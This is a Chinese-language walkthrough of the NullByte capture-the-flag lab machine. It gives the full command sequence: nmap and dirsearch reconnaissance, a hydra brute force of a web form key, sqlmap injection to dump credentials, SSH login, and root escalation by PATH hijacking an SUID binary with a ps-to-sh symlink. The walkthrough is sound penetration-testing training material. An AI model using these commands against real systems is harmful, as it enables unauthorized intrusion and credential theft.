arp-scan -l扫描内网存活主机

- ┌──(root💀kali)-[~/桌面]
- └─# nmap -sS -A -p- 192.168.103.201/24
- -sS 半扫描
- -A 扫描详细信息
- -p- 扫描全端口
发现开放了80、111、777、50978端口
且发现777端口开放了ssh服务,说明他把默认22端口修改成了777端口


翻译一下下面的提示:意思是要找到正确的渗透方式

- ┌──(root💀kali)-[~/桌面]
- └─# dirsearch -u http://192.168.103.201
-
- 目录扫描字典字典的话推荐:/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
- /usr/share/wordlists/dirb/big.txt
-
扫描得到以下目录:
/uploads
/javascript
/phpmyadmin

显然/uploads目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径

再看phpmyadmin,应该就是phpmyadmin的管理界面,打开一看,果不其然:
遇到登录框,首先试试是不是弱口令,这个试过弱口令了,发现试不出来

然后试着查看源代码看看有没有啥提示:
发现80端口下面的源代码有个图片提示。

我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:
- ┌──(root💀kali)-[~/桌面]
- └─# wget http://192.168.103.201/main.gif

先用file看看这个文件的具体信息,确实就是个gif的图像文件

strings main.gif
strings 命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings 命令对识别随机对象文件很有用

这个kzMb5nVYJw,有可能是某个密码,所以可以尝试ssh登录、phpmyadmin也可以试试,但是都失败了
kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,所以试试路径
发现,还真的是路径,发现是个要输入key的页面

查看网页源代码
这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了
- this form isn't connected to mysql, password ain't that complex
- :这个表单没有连接到mysql,密码没有那么复杂
-

我们试着输入kzMb5nVYJw进去,发现报错了

这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破
解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求
添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank)
-P指定爆破脚本,一般靶机都可选择/usr/share/wordlists/rockyou.txt这个字典
- ┌──(root💀kali)-[/usr/share/wordlists]
- └─# hydra 192.168.103.201 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt
爆破完毕:key是elite

输入正确的key后,出现下面的这个界面

发现输入,出现了报错,可以看到url存在注入点,说明存在sql注入

注入点http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1
在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了
- ┌──(root💀kali)-[/usr/share/wordlists]
- └─# sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch
-

- +----+---------------------------------------------+--------+------------+
- | id | pass | user | position |
- +----+---------------------------------------------+--------+------------+
- | 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |
- | 2 | --not allowed-- | isis | employee |
- +----+---------------------------------------------+--------+------------+
密码,先base64解密,然后再md5解密,
得到密码是:omega

- ┌──(root💀kali)-[~]
- └─# ssh ramses@192.168.103.201 -p 777
-
- 密码omega
-

没有权限

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

ramses@NullByte:~$ cat /etc/crontab

先进入ramses用户目录下然后
ls -la

发现这个很奇怪,好像在前面那里见过,所以尝试在这里执行一下,发现执行不了,

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null
后来发现是这里,看见过,这里的是表示root用户可以执行的权限命令

所以,先切换到/var/www/backup目录下
然后./procwatch执行下这个文件

- ramses@NullByte:/var/www/backup$ ./procwatch
- PID TTY TIME CMD
- 1785 pts/0 00:00:00 procwatch
- 1786 pts/0 00:00:00 sh
- 1787 pts/0 00:00:00 ps
-
发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是
将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。
首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:
- ln -s /bin/sh ps
-
- ls -la

然后我们修改环境变量,将当前目录.追加到环境变量的最开始:
- export PATH=.:$PATH
-
然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了
./procwatch
然后我们进入/root目录寻找flag,是proof.txt
